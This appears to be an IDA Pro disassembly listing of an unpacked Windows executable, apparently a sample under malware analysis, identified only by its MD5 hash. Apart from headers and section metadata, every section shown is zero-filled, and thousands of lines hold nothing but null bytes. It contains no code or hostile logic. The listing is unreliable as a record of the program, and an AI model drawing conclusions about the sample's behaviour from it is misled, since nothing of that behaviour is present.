;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	7B8B096E8E59B4BE8F179A62D272EFA9

; File Name   :	u:\work\7b8b096e8e59b4be8f179a62d272efa9_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00016000 (  90112.)
; Section size in file		: 00016000 (  90112.)
; Offset to raw	data for section: 00001000
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 401000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dword_401000	dd 5800h dup(0)	_text		ends

; Section 2. (virtual address 00017000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00017000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rdata		segment	para public 'DATA' use32
		assume cs:_rdata
		;org 417000h
		dd 0F2h	dup(0)
dword_4173C8	dd 30Eh	dup(0)	_rdata		ends

; Section 3. (virtual address 00018000)
; Virtual size			: 00008000 (  32768.)
; Section size in file		: 00008000 (  32768.)
; Offset to raw	data for section: 00018000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_data		segment	para public 'DATA' use32
		assume cs:_data
		;org 418000h
unk_418000	db    0			; DATA XREF: _802izwe5:004301A0o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
